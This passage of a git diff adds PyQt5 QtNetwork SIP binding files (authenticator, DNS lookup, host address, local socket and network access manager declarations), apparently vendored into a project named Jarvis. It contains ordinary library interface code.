&name); + +public: + enum SocketOption + { + LowDelayOption, + KeepAliveOption, + MulticastTtlOption, + MulticastLoopbackOption, + TypeOfServiceOption, +%If (Qt_5_3_0 -) + SendBufferSizeSocketOption, +%End +%If (Qt_5_3_0 -) + ReceiveBufferSizeSocketOption, +%End +%If (Qt_5_11_0 -) + PathMtuSocketOption, +%End + }; + + virtual void setSocketOption(QAbstractSocket::SocketOption option, const QVariant &value); + virtual QVariant socketOption(QAbstractSocket::SocketOption option); + + enum BindFlag + { + DefaultForPlatform, + ShareAddress, + DontShareAddress, + ReuseAddressHint, + }; + + typedef QFlags BindMode; + + enum PauseMode + { + PauseNever, + PauseOnSslErrors, + }; + + typedef QFlags PauseModes; + virtual void resume() /ReleaseGIL/; + QAbstractSocket::PauseModes pauseMode() const; + void setPauseMode(QAbstractSocket::PauseModes pauseMode); + bool bind(const QHostAddress &address, quint16 port = 0, QAbstractSocket::BindMode mode = QAbstractSocket::DefaultForPlatform); + bool bind(quint16 port = 0, QAbstractSocket::BindMode mode = QAbstractSocket::DefaultForPlatform); +%If (Qt_5_13_0 -) + QString protocolTag() const; +%End +%If (Qt_5_13_0 -) + void setProtocolTag(const QString &tag); +%End +}; + +QFlags operator|(QAbstractSocket::BindFlag f1, QFlags f2); +QFlags operator|(QAbstractSocket::PauseMode f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qauthenticator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qauthenticator.sip new file mode 100644 index 00000000..ac60f4d8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qauthenticator.sip @@ -0,0 +1,44 @@ +// qauthenticator.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAuthenticator +{ +%TypeHeaderCode +#include +%End + +public: + QAuthenticator(); + QAuthenticator(const QAuthenticator &other); + ~QAuthenticator(); + bool operator==(const QAuthenticator &other) const; + bool operator!=(const QAuthenticator &other) const; + QString user() const; + void setUser(const QString &user); + QString password() const; + void setPassword(const QString &password); + QString realm() const; + bool isNull() const; + QVariant option(const QString &opt) const; + QVariantHash options() const; + void setOption(const QString &opt, const QVariant &value); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qdnslookup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qdnslookup.sip new file mode 100644 index 00000000..e56dfd1f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qdnslookup.sip @@ -0,0 +1,181 @@ +// qdnslookup.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDnsDomainNameRecord +{ +%TypeHeaderCode +#include +%End + +public: + QDnsDomainNameRecord(); + QDnsDomainNameRecord(const QDnsDomainNameRecord &other); + ~QDnsDomainNameRecord(); + void swap(QDnsDomainNameRecord &other /Constrained/); + QString name() const; + quint32 timeToLive() const; + QString value() const; +}; + +class QDnsHostAddressRecord +{ +%TypeHeaderCode +#include +%End + +public: + QDnsHostAddressRecord(); + QDnsHostAddressRecord(const QDnsHostAddressRecord &other); + ~QDnsHostAddressRecord(); + void swap(QDnsHostAddressRecord &other /Constrained/); + QString name() const; + quint32 timeToLive() const; + QHostAddress value() const; +}; + +class QDnsMailExchangeRecord +{ +%TypeHeaderCode +#include +%End + +public: + QDnsMailExchangeRecord(); + QDnsMailExchangeRecord(const QDnsMailExchangeRecord &other); + ~QDnsMailExchangeRecord(); + void swap(QDnsMailExchangeRecord &other /Constrained/); + QString exchange() const; + QString name() const; + quint16 preference() const; + quint32 timeToLive() const; +}; + +class QDnsServiceRecord +{ +%TypeHeaderCode +#include +%End + +public: + QDnsServiceRecord(); + QDnsServiceRecord(const QDnsServiceRecord &other); + ~QDnsServiceRecord(); + void swap(QDnsServiceRecord &other /Constrained/); + QString name() const; + quint16 port() const; + quint16 priority() const; + QString target() const; + quint32 timeToLive() const; + quint16 weight() const; +}; + +class QDnsTextRecord +{ +%TypeHeaderCode +#include +%End + +public: + QDnsTextRecord(); + QDnsTextRecord(const QDnsTextRecord &other); + ~QDnsTextRecord(); + void swap(QDnsTextRecord &other /Constrained/); + QString name() const; + quint32 timeToLive() const; + QList values() const; +}; + +class QDnsLookup : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + ResolverError, + OperationCancelledError, + InvalidRequestError, + InvalidReplyError, + ServerFailureError, + ServerRefusedError, + NotFoundError, + }; + + enum Type + { + A, + AAAA, + ANY, + CNAME, + MX, + NS, + PTR, + SRV, + TXT, + }; + + explicit QDnsLookup(QObject *parent /TransferThis/ = 0); + QDnsLookup(QDnsLookup::Type type, const QString &name, QObject *parent /TransferThis/ = 0); +%If (Qt_5_5_0 -) + QDnsLookup(QDnsLookup::Type type, const QString &name, const QHostAddress &nameserver, QObject *parent /TransferThis/ = 0); +%End + virtual ~QDnsLookup(); + QDnsLookup::Error error() const; + QString errorString() const; + bool isFinished() const; + QString name() const; + void setName(const QString &name); + QDnsLookup::Type type() const; + void setType(QDnsLookup::Type); + QList canonicalNameRecords() const; + QList hostAddressRecords() const; + QList mailExchangeRecords() const; + QList nameServerRecords() const; + QList pointerRecords() const; + QList serviceRecords() const; + QList textRecords() const; + +public slots: + void abort() /ReleaseGIL/; + void lookup() /ReleaseGIL/; + +signals: + void finished(); + void nameChanged(const QString &name); + void typeChanged(QDnsLookup::Type type /ScopesStripped=1/); + +public: +%If (Qt_5_3_0 -) + QHostAddress nameserver() const; +%End +%If (Qt_5_3_0 -) + void setNameserver(const QHostAddress &nameserver); +%End + +signals: +%If (Qt_5_3_0 -) + void nameserverChanged(const QHostAddress &nameserver); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostaddress.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostaddress.sip new file mode 100644 index 00000000..22c84014 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostaddress.sip @@ -0,0 +1,206 @@ +// qhostaddress.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHostAddress /TypeHintIn="Union[QHostAddress, QHostAddress.SpecialAddress]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// SIP doesn't support automatic type convertors so we explicitly allow a +// QHostAddress::SpecialAddress to be used whenever a QHostAddress is expected. + +if (sipIsErr == NULL) + return (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_QHostAddress_SpecialAddress)) || + sipCanConvertToType(sipPy, sipType_QHostAddress, SIP_NO_CONVERTORS)); + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_QHostAddress_SpecialAddress))) +{ + *sipCppPtr = new QHostAddress((QHostAddress::SpecialAddress)SIPLong_AsLong(sipPy)); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QHostAddress, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +public: + enum SpecialAddress + { + Null, + Broadcast, + LocalHost, + LocalHostIPv6, + AnyIPv4, + AnyIPv6, + Any, + }; + + QHostAddress(); + QHostAddress(QHostAddress::SpecialAddress address /Constrained/); + explicit QHostAddress(quint32 ip4Addr); + explicit QHostAddress(const QString &address); + explicit QHostAddress(const Q_IPV6ADDR &ip6Addr); + QHostAddress(const QHostAddress ©); + ~QHostAddress(); +%If (Qt_5_8_0 -) + void setAddress(QHostAddress::SpecialAddress address /Constrained/); +%End + void setAddress(quint32 ip4Addr); + bool setAddress(const QString &address); + void setAddress(const Q_IPV6ADDR &ip6Addr); + QAbstractSocket::NetworkLayerProtocol protocol() const; + quint32 toIPv4Address() const; + Q_IPV6ADDR toIPv6Address() const; + QString toString() const; + QString scopeId() const; + void setScopeId(const QString &id); + bool operator==(const QHostAddress &address) const; + bool operator==(QHostAddress::SpecialAddress address) const; + bool operator!=(const QHostAddress &address) const; + bool operator!=(QHostAddress::SpecialAddress address) const; + bool isNull() const; + void clear(); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + bool isInSubnet(const QHostAddress &subnet, int netmask) const; + bool isInSubnet(const QPair &subnet) const; + bool isLoopback() const; + static QPair parseSubnet(const QString &subnet); +%If (Qt_5_6_0 -) + void swap(QHostAddress &other /Constrained/); +%End +%If (Qt_5_6_0 -) + bool isMulticast() const; +%End +%If (Qt_5_8_0 -) + + enum ConversionModeFlag + { + ConvertV4MappedToIPv4, + ConvertV4CompatToIPv4, + ConvertUnspecifiedAddress, + ConvertLocalHost, + TolerantConversion, + StrictConversion, + }; + +%End +%If (Qt_5_8_0 -) + typedef QFlags ConversionMode; +%End +%If (Qt_5_8_0 -) + bool isEqual(const QHostAddress &address, QHostAddress::ConversionMode mode = QHostAddress::TolerantConversion) const; +%End +%If (Qt_5_11_0 -) + bool isGlobal() const; +%End +%If (Qt_5_11_0 -) + bool isLinkLocal() const; +%End +%If (Qt_5_11_0 -) + bool isSiteLocal() const; +%End +%If (Qt_5_11_0 -) + bool isUniqueLocalUnicast() const; +%End +%If (Qt_5_11_0 -) + bool isBroadcast() const; +%End +}; + +bool operator==(QHostAddress::SpecialAddress address1, const QHostAddress &address2); +%If (Qt_5_9_0 -) +bool operator!=(QHostAddress::SpecialAddress lhs, const QHostAddress &rhs); +%End +QDataStream &operator<<(QDataStream &, const QHostAddress &) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QHostAddress &) /ReleaseGIL/; +// Q_IPV6ADDR is implemented as a Python 16-tuple of ints. +%MappedType Q_IPV6ADDR /TypeHint="Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + // Create the tuple. + PyObject *t; + + if ((t = PyTuple_New(16)) == NULL) + return NULL; + + // Set the tuple elements. + for (int i = 0; i < 16; ++i) + { + PyObject *pobj; + + if ((pobj = SIPLong_FromLong((*sipCpp)[i])) == NULL) + { + Py_DECREF(t); + + return NULL; + } + + PyTuple_SetItem(t, i, pobj); + } + + return t; +%End + +%ConvertToTypeCode + // Check the type if that is all that is required. + if (sipIsErr == NULL) + return (PySequence_Check(sipPy) && PySequence_Size(sipPy) == 16); + + Q_IPV6ADDR *qa = new Q_IPV6ADDR; + + for (Py_ssize_t i = 0; i < 16; ++i) + { + PyObject *itm = PySequence_GetItem(sipPy, i); + + if (!itm) + { + delete qa; + *sipIsErr = 1; + + return 0; + } + + (*qa)[i] = SIPLong_AsLong(itm); + + Py_DECREF(itm); + } + + *sipCppPtr = qa; + + return sipGetState(sipTransferObj); +%End +}; +%If (Qt_5_8_0 -) +QFlags operator|(QHostAddress::ConversionModeFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostinfo.sip new file mode 100644 index 00000000..40e1e013 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhostinfo.sip @@ -0,0 +1,89 @@ +// qhostinfo.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHostInfo +{ +%TypeHeaderCode +#include +%End + +public: + enum HostInfoError + { + NoError, + HostNotFound, + UnknownError, + }; + + explicit QHostInfo(int id = -1); + QHostInfo(const QHostInfo &d); + ~QHostInfo(); + QString hostName() const; + void setHostName(const QString &name); + QList addresses() const; + void setAddresses(const QList &addresses); + QHostInfo::HostInfoError error() const; + void setError(QHostInfo::HostInfoError error); + QString errorString() const; + void setErrorString(const QString &errorString); + void setLookupId(int id); + int lookupId() const; + static int lookupHost(const QString &name, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtnetwork_get_connection_parts(a1, 0, "(QHostInfo)", true, &receiver, slot_signature)) == sipErrorNone) + { + QHostInfo::lookupHost(*a0, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + static void abortHostLookup(int lookupId); + static QHostInfo fromName(const QString &name); + static QString localHostName(); + static QString localDomainName(); +%If (Qt_5_10_0 -) + void swap(QHostInfo &other /Constrained/); +%End +}; + +%ModuleHeaderCode +// Imports from QtCore. +typedef sipErrorState (*pyqt5_qtnetwork_get_connection_parts_t)(PyObject *, QObject *, const char *, bool, QObject **, QByteArray &); +extern pyqt5_qtnetwork_get_connection_parts_t pyqt5_qtnetwork_get_connection_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtnetwork_get_connection_parts_t pyqt5_qtnetwork_get_connection_parts; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtnetwork_get_connection_parts = (pyqt5_qtnetwork_get_connection_parts_t)sipImportSymbol("pyqt5_get_connection_parts"); +Q_ASSERT(pyqt5_qtnetwork_get_connection_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhstspolicy.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhstspolicy.sip new file mode 100644 index 00000000..622855f1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhstspolicy.sip @@ -0,0 +1,61 @@ +// qhstspolicy.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_9_0 -) + +class QHstsPolicy +{ +%TypeHeaderCode +#include +%End + +public: + enum PolicyFlag + { + IncludeSubDomains, + }; + + typedef QFlags PolicyFlags; + QHstsPolicy(); + QHstsPolicy(const QDateTime &expiry, QHstsPolicy::PolicyFlags flags, const QString &host, QUrl::ParsingMode mode = QUrl::DecodedMode); + QHstsPolicy(const QHstsPolicy &rhs); + ~QHstsPolicy(); + void swap(QHstsPolicy &other); + void setHost(const QString &host, QUrl::ParsingMode mode = QUrl::DecodedMode); + QString host(QUrl::ComponentFormattingOptions options = QUrl::ComponentFormattingOption::FullyDecoded) const; + void setExpiry(const QDateTime &expiry); + QDateTime expiry() const; + void setIncludesSubDomains(bool include); + bool includesSubDomains() const; + bool isExpired() const; +}; + +%End +%If (Qt_5_9_0 -) +bool operator==(const QHstsPolicy &lhs, const QHstsPolicy &rhs); +%End +%If (Qt_5_9_0 -) +bool operator!=(const QHstsPolicy &lhs, const QHstsPolicy &rhs); +%End +%If (Qt_5_9_0 -) +QFlags operator|(QHstsPolicy::PolicyFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttp2configuration.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttp2configuration.sip new file mode 100644 index 00000000..ca83ccf4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttp2configuration.sip @@ -0,0 +1,54 @@ +// qhttp2configuration.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_14_0 -) + +class QHttp2Configuration +{ +%TypeHeaderCode +#include +%End + +public: + QHttp2Configuration(); + QHttp2Configuration(const QHttp2Configuration &other); + ~QHttp2Configuration(); + void setServerPushEnabled(bool enable); + bool serverPushEnabled() const; + void setHuffmanCompressionEnabled(bool enable); + bool huffmanCompressionEnabled() const; + bool setSessionReceiveWindowSize(unsigned int size); + unsigned int sessionReceiveWindowSize() const; + bool setStreamReceiveWindowSize(unsigned int size); + unsigned int streamReceiveWindowSize() const; + bool setMaxFrameSize(unsigned int size); + unsigned int maxFrameSize() const; + void swap(QHttp2Configuration &other /Constrained/); +}; + +%End +%If (Qt_5_14_0 -) +bool operator==(const QHttp2Configuration &lhs, const QHttp2Configuration &rhs); +%End +%If (Qt_5_14_0 -) +bool operator!=(const QHttp2Configuration &lhs, const QHttp2Configuration &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttpmultipart.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttpmultipart.sip new file mode 100644 index 00000000..48b4d9d8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qhttpmultipart.sip @@ -0,0 +1,64 @@ +// qhttpmultipart.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHttpPart +{ +%TypeHeaderCode +#include +%End + +public: + QHttpPart(); + QHttpPart(const QHttpPart &other); + ~QHttpPart(); + bool operator==(const QHttpPart &other) const; + bool operator!=(const QHttpPart &other) const; + void setHeader(QNetworkRequest::KnownHeaders header, const QVariant &value); + void setRawHeader(const QByteArray &headerName, const QByteArray &headerValue); + void setBody(const QByteArray &body); + void setBodyDevice(QIODevice *device); + void swap(QHttpPart &other /Constrained/); +}; + +class QHttpMultiPart : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum ContentType + { + MixedType, + RelatedType, + FormDataType, + AlternativeType, + }; + + explicit QHttpMultiPart(QObject *parent /TransferThis/ = 0); + QHttpMultiPart(QHttpMultiPart::ContentType contentType, QObject *parent /TransferThis/ = 0); + virtual ~QHttpMultiPart(); + void append(const QHttpPart &httpPart); + void setContentType(QHttpMultiPart::ContentType contentType); + QByteArray boundary() const; + void setBoundary(const QByteArray &boundary); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalserver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalserver.sip new file mode 100644 index 00000000..019c371e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalserver.sip @@ -0,0 +1,70 @@ +// qlocalserver.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLocalServer : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLocalServer(QObject *parent /TransferThis/ = 0); + virtual ~QLocalServer(); + void close(); + QString errorString() const; + virtual bool hasPendingConnections() const; + bool isListening() const; + bool listen(const QString &name); + bool listen(qintptr socketDescriptor); + int maxPendingConnections() const; + virtual QLocalSocket *nextPendingConnection(); + QString serverName() const; + QString fullServerName() const; + QAbstractSocket::SocketError serverError() const; + void setMaxPendingConnections(int numConnections); + bool waitForNewConnection(int msecs = 0, bool *timedOut = 0) /ReleaseGIL/; + static bool removeServer(const QString &name); + +signals: + void newConnection(); + +protected: + virtual void incomingConnection(quintptr socketDescriptor); + +public: + enum SocketOption + { + UserAccessOption, + GroupAccessOption, + OtherAccessOption, + WorldAccessOption, + }; + + typedef QFlags SocketOptions; + void setSocketOptions(QLocalServer::SocketOptions options); + QLocalServer::SocketOptions socketOptions() const; +%If (Qt_5_10_0 -) + qintptr socketDescriptor() const; +%End +}; + +QFlags operator|(QLocalServer::SocketOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalsocket.sip new file mode 100644 index 00000000..b96c4bf2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qlocalsocket.sip @@ -0,0 +1,136 @@ +// qlocalsocket.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLocalSocket : QIODevice +{ +%TypeHeaderCode +#include +%End + +public: + enum LocalSocketError + { + ConnectionRefusedError, + PeerClosedError, + ServerNotFoundError, + SocketAccessError, + SocketResourceError, + SocketTimeoutError, + DatagramTooLargeError, + ConnectionError, + UnsupportedSocketOperationError, + OperationError, + UnknownSocketError, + }; + + enum LocalSocketState + { + UnconnectedState, + ConnectingState, + ConnectedState, + ClosingState, + }; + + QLocalSocket(QObject *parent /TransferThis/ = 0); + virtual ~QLocalSocket(); + void connectToServer(const QString &name, QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; +%If (Qt_5_1_0 -) + void connectToServer(QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; +%End + void disconnectFromServer() /ReleaseGIL/; +%If (Qt_5_1_0 -) + virtual bool open(QIODevice::OpenMode mode = QIODevice::ReadWrite); +%End + QString serverName() const; +%If (Qt_5_1_0 -) + void setServerName(const QString &name); +%End + QString fullServerName() const; + void abort(); + virtual bool isSequential() const; + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool canReadLine() const; + virtual void close(); + QLocalSocket::LocalSocketError error() const; + bool flush(); + bool isValid() const; + qint64 readBufferSize() const; + void setReadBufferSize(qint64 size); + bool setSocketDescriptor(qintptr socketDescriptor, QLocalSocket::LocalSocketState state = QLocalSocket::ConnectedState, QIODevice::OpenMode mode = QIODevice::ReadWrite); + qintptr socketDescriptor() const; + QLocalSocket::LocalSocketState state() const; + virtual bool waitForBytesWritten(int msecs = 30000) /ReleaseGIL/; + bool waitForConnected(int msecs = 30000) /ReleaseGIL/; + bool waitForDisconnected(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForReadyRead(int msecs = 30000) /ReleaseGIL/; + +signals: + void connected(); + void disconnected(); + void error(QLocalSocket::LocalSocketError socketError); +%If (Qt_5_15_0 -) + void errorOccurred(QLocalSocket::LocalSocketError socketError); +%End + void stateChanged(QLocalSocket::LocalSocketState socketState); + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *, qint64)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QLocalSocket::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char * /Array/, qint64 /ArraySize/) /ReleaseGIL/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkaccessmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkaccessmanager.sip new file mode 100644 index 00000000..4fb540e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkaccessmanager.sip @@ -0,0 +1,166 @@ +// qnetworkaccessmanager.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkAccessManager : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Operation + { + HeadOperation, + GetOperation, + PutOperation, + PostOperation, + DeleteOperation, + CustomOperation, + }; + + explicit QNetworkAccessManager(QObject *parent /TransferThis/ = 0); + virtual ~QNetworkAccessManager(); + QNetworkProxy proxy() const; + void setProxy(const QNetworkProxy &proxy); + QNetworkCookieJar *cookieJar() const; + void setCookieJar(QNetworkCookieJar *cookieJar /Transfer/); + QNetworkReply *head(const QNetworkRequest &request); + QNetworkReply *get(const QNetworkRequest &request); + QNetworkReply *post(const QNetworkRequest &request, QIODevice *data); + QNetworkReply *post(const QNetworkRequest &request, const QByteArray &data); + 